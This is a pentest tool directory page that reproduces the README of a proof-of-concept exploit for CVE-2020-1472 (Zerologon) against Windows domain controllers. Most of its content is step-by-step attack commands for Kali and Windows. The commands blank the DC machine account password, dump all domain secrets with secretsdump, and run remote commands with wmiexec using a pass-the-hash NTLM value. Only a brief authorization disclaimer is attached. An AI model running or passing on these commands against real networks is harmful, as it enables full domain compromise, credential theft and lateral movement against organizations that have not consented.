Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ZerologonWithImpacket-CVE2020-1472 — A practical proof-of-concept for CVE-2020-1472 (Zerologon) using the Impacket library to exploit Netlogon vulnerability and perform unauthorized domain controller access. | Kitploit
Tools/GitHubGitHub/tuancui22/zerologonwithimpacket-cve2020-1472
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
tuancui22/zerologonwithimpacket-cve2020-1472

ZerologonWithImpacket-CVE2020-1472

A practical proof-of-concept for CVE-2020-1472 (Zerologon) using the Impacket library to exploit Netlogon vulnerability and perform unauthorized domain controller access.

View Repository
121 year agoNot yet reviewed

Zerologon and Impacket Combination Exploit (CVE-2020-1472)

This repository contains an updated implementation (2024) of the Zerologon exploit combined with Impacket tools to exploit CVE-2020-1472 (Zerologon). This exploit targets Windows Server environments to manipulate machine account passwords and perform lateral movement.

Features

  • Exploits CVE-2020-1472 (Zerologon) to set the target's machine account password to an empty string.
  • Leverages Impacket tools for dumping credentials and executing commands on the victim machine.

Requirements

  1. Python 3.x
  2. Install the required dependencies by running:
    root@kitploit:~
    pip install -r requirements.txt
    

Usage

Example Scenario

  • Victim: Windows Server 2016
  • Attacker: Kali Linux (or Windows system)

Exploit Commands (Kali Linux)

  1. Set the machine account password to an empty string:
    root@kitploit:~
    python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
    
  2. Dump secrets from the Domain Controller:
    root@kitploit:~
    python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
    
  3. Execute commands on the victim machine:
    root@kitploit:~
    python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
    

Exploit Commands (Windows Attacker)

  1. Set the machine account password to an empty string:
    root@kitploit:~
    python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
    
  2. Dump secrets from the Domain Controller:
    root@kitploit:~
    python secretsdump.py -just-dc "tancongmang/[email protected]"
    
  3. Execute commands on the victim machine:
    root@kitploit:~
    python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
    

Notes

  • Replace WIN-C9PAHHGJN91 and 192.168.40.145 with the actual hostname and IP address of the target.
  • Ensure you have proper authorization before using this tool.
  • This tool is for educational and penetration testing purposes only.

Disclaimer

Use this tool responsibly. Unauthorized use of this tool to exploit systems without explicit permission is illegal and unethical. The authors are not responsible for any misuse or damage caused by this tool.

Download Tool